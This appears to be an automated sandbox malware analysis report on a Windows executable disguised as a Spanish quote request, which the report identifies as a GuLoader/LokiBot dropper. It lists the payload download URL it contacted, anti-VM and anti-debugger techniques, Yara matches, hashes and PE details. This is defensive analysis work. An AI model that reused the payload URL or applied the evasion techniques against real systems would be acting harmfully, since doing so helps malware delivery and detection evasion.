Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=

Source: unknown	HTTPS traffic detected: 104.16.53.48:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.53.48:443 -> 192.168.2.5:49750 version: TLS 1.2

System Summary

Potential malicious icon found

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Malicious sample detected (through community Yara rule)

Source: 00000000.00000000.307522232.000000000040D000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth (Nextron Systems)
Source: 00000001.00000000.403982899.000000000040D000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth (Nextron Systems)
Source: 00000000.00000002.404604650.000000000040D000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth (Nextron Systems)

Source: Solicitud de presupuesto.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000000.00000000.307522232.000000000040D000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth (Nextron Systems), description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000001.00000000.403982899.000000000040D000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth (Nextron Systems), description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000000.00000002.404604650.000000000040D000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth (Nextron Systems), description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE

Source: Solicitud de presupuesto.exe, 00000000.00000002.404843824.0000000000414000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHalvfemser.exe vs Solicitud de presupuesto.exe
Source: Solicitud de presupuesto.exe, 00000000.00000002.408124512.0000000002950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHalvfemser.exeFE2XGabba vs Solicitud de presupuesto.exe
Source: Solicitud de presupuesto.exe, 00000001.00000000.404039539.0000000000414000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHalvfemser.exe vs Solicitud de presupuesto.exe
Source: Solicitud de presupuesto.exe	Binary or memory string: OriginalFilenameHalvfemser.exe vs Solicitud de presupuesto.exe

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_005687B2 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_005604BE NtSetInformationThread,
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_005604BC NtSetInformationThread,
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00560526 NtSetInformationThread,
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_005605F0 NtSetInformationThread,
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00560592 NtSetInformationThread,

Source: Solicitud de presupuesto.exe	Virustotal: Detection: 78%
Source: Solicitud de presupuesto.exe	ReversingLabs: Detection: 70%

Source: Solicitud de presupuesto.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Users\user\Desktop\Solicitud de presupuesto.exe C:\Users\user\Desktop\Solicitud de presupuesto.exe
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process created: C:\Users\user\Desktop\Solicitud de presupuesto.exe C:\Users\user\Desktop\Solicitud de presupuesto.exe
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process created: C:\Users\user\Desktop\Solicitud de presupuesto.exe C:\Users\user\Desktop\Solicitud de presupuesto.exe

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@3/0@1/1

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000001.00000002.575875706.0000000000560000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Solicitud de presupuesto.exe PID: 1352, type: MEMORYSTR

Yara detected VB6 Downloader Generic

Source: Yara match

File source: Process Memory Space: Solicitud de presupuesto.exe PID: 1352, type: MEMORYSTR

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Code function: 1_2_00566396 push ecx; ret

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	RDTSC instruction interceptor: First address: 00000000028B755F second address: 00000000028B757D instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a mov esi, edx 0x0000000c pushad 0x0000000d mov eax, 00000001h 0x00000012 cpuid 0x00000014 bt ecx, 1Fh 0x00000018 jc 00007FD4AD1AA552h 0x0000001a popad 0x0000001b lfence 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	RDTSC instruction interceptor: First address: 00000000028B757D second address: 00000000028B755F instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a sub edx, esi 0x0000000c cmp edx, 00000000h 0x0000000f jle 00007FD4ACB61440h 0x00000011 ret 0x00000012 add edi, edx 0x00000014 pop ecx 0x00000015 dec ecx 0x00000016 cmp ecx, 00000000h 0x00000019 jne 00007FD4ACB61463h 0x0000001b push ecx 0x0000001c call 00007FD4ACB614D2h 0x00000021 lfence 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	RDTSC instruction interceptor: First address: 000000000056755F second address: 000000000056757D instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a mov esi, edx 0x0000000c pushad 0x0000000d mov eax, 00000001h 0x00000012 cpuid 0x00000014 bt ecx, 1Fh 0x00000018 jc 00007FD4AD1AA552h 0x0000001a popad 0x0000001b lfence 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	RDTSC instruction interceptor: First address: 000000000056757D second address: 000000000056755F instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a sub edx, esi 0x0000000c cmp edx, 00000000h 0x0000000f jle 00007FD4ACB61440h 0x00000011 ret 0x00000012 add edi, edx 0x00000014 pop ecx 0x00000015 dec ecx 0x00000016 cmp ecx, 00000000h 0x00000019 jne 00007FD4ACB61463h 0x0000001b push ecx 0x0000001c call 00007FD4ACB614D2h 0x00000021 lfence 0x00000024 rdtsc

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Code function: 1_2_0056755C

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe TID: 1252	Thread sleep count: 45 > 30
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe TID: 1252	Thread sleep time: -450000s >= -30000s

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

File opened / queried: C:\ProgramData\qemu-ga\qga.state

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Code function: 1_2_0056755C rdtsc

Source: Solicitud de presupuesto.exe, 00000001.00000002.575875706.0000000000560000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: C:\ProgramData\qemu-ga\qga.state

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Thread information set: HideFromDebugger

Contains functionality to hide a thread from the debugger

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Code function: 1_2_005604BE NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00566853 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_005638F9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00562647 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00561A3A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00562629 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00567EF2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00567EFC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00567F46 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00567362 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe	Code function: 1_2_00567F96 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Code function: 1_2_0056755C rdtsc

Source: C:\Users\user\Desktop\Solicitud de presupuesto.exe

Process created: C:\Users\user\Desktop\Solicitud de presupuesto.exe C:\Users\user\Desktop\Solicitud de presupuesto.exe

Stealing of Sensitive Information

GuLoader behavior detected

Source: Initial file

Signature Results: GuLoader behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	11 Process Injection	12 Virtualization/Sandbox Evasion	OS Credential Dumping	421 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Software Packing	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	2 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	113 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Solicitud de presupuesto.exe	79%	Virustotal		Browse
Solicitud de presupuesto.exe	71%	ReversingLabs	Win32.Infostealer.Fareit
Solicitud de presupuesto.exe	100%	Avira	TR/Injector.akytx
Solicitud de presupuesto.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.Solicitud de presupuesto.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1239136	Download File
1.0.Solicitud de presupuesto.exe.400000.0.unpack	100%	Avira	TR/Injector.akytx	Download File
0.0.Solicitud de presupuesto.exe.400000.0.unpack	100%	Avira	TR/Injector.akytx	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://static.cloudflareinsights.com/beacon.min.js/vaafb692b2aea4879b33c060e79fe94621666317369993	0%	URL Reputation	safe
https://static.cloudflareinsights.com/beacon.min.js/vaafb692b2aea4879b33c060e79fe94621666317369993	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.mediafire.com	104.16.53.48	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.mediafire.com/error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download	false		high
https://www.mediafire.com/file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://static.cloudflareinsights.com/beacon.min.js/vaafb692b2aea4879b33c060e79fe94621666317369993	Solicitud de presupuesto.exe, 00000001.00000002.576110769.0000000002380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.16.53.48	www.mediafire.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830606
Start date and time:	2023-03-20 14:34:20 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 11s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Solicitud de presupuesto.exe
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 93.7% (good quality ratio 78%) Quality average: 60.8% Quality standard deviation: 36.1%
HCA Information:	Successful, ratio: 89% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:36:23	API Interceptor	46x Sleep call for process: Solicitud de presupuesto.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	3.4800524608313186
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Solicitud de presupuesto.exe
File size:	86016
MD5:	e6f54ce2be4854fdca9c97450c347a2c
SHA1:	f609993ae9cace1abf742553a12a21852d363d5d
SHA256:	69e3a2462654341256f2feb5c86c1c8bb514d9ab97a02917cd22640c1474cac9
SHA512:	ffb515155cf5fc93ee30448f6e015bc734a08b2e088ab5c66cfd1aa2c8becf77ffc070e12d9c7e0de54eefda775e19b650d3fe072a78a0841c498453d85bdb94
SSDEEP:	768:dNMBz7H9ernso9wD9/St9vpQr5WDdgUWih1jwZAvF/fJ8P5MHzZt:cBlernso94SbZdgUWih1j0AvF/B8xkb
TLSH:	5C833816B2C8E831D95206F11E315BA484267C354A049A43F7483F3EBB7FEA7A7A0717
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,..SM..SM..SM...Q..RM...o..UM..ek..RM..RichSM..................PE..L....(.M................. ... ...............0....@........

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General

Entrypoint:	0x40148c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4D8A28DA [Wed Mar 23 17:07:38 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	965ac96787cf85955888f8a9a62bd475

Entrypoint Preview

Instruction
push 0040E028h
call 00007FD4ACA97FB5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esp+ecx*4], ch
mov bl, byte ptr [eax-1Fh]
and eax, 16B745E3h
adc dword ptr [ebp+ebp+0097B581h], edi
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+6Eh], ch
jnc 00007FD4ACA98037h
insb
popad
push 00007265h
adc byte ptr [esi], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
push es
xchg bh, al
cmp dword ptr [edx+444CE5AAh], FFFFFFB8h
add eax, F269B13Ch
or eax, D270823Ch
jno 00007FD4ACA97FCEh
out E8h, eax
inc edx
pop dword ptr [ebx+68h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11f54	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14000	0x8f4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x230	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x14c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1144c	0x12000	False	0.2748480902777778	data	3.8233408809320486	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x13000	0xc10	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x14000	0x8f4	0x1000	False	0.16943359375	data	1.971156033648951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x147c4	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 256
RT_ICON	0x144dc	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640
RT_ICON	0x143b4	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192
RT_GROUP_ICON	0x14384	0x30	data
RT_VERSION	0x14150	0x234	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaHresultCheck, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, _adj_fdiv_m64, _adj_fprem1, __vbaStrCat, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, _adj_fpatan, EVENT_SINK_Release, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaI2Str, __vbaFPException, _CIlog, __vbaNew2, __vbaR8Str, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaInStrB, __vbaVarDup, _CIatan, __vbaStrMove, __vbaUI1Str, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 14:36:22.177046061 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:22.177133083 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:22.177280903 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:22.194329977 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:22.194384098 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:22.333043098 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:22.339039087 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:22.603138924 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:22.603188992 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:22.603786945 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:22.603893042 CET	49696	443	192.168.2.5	104.16.53.48
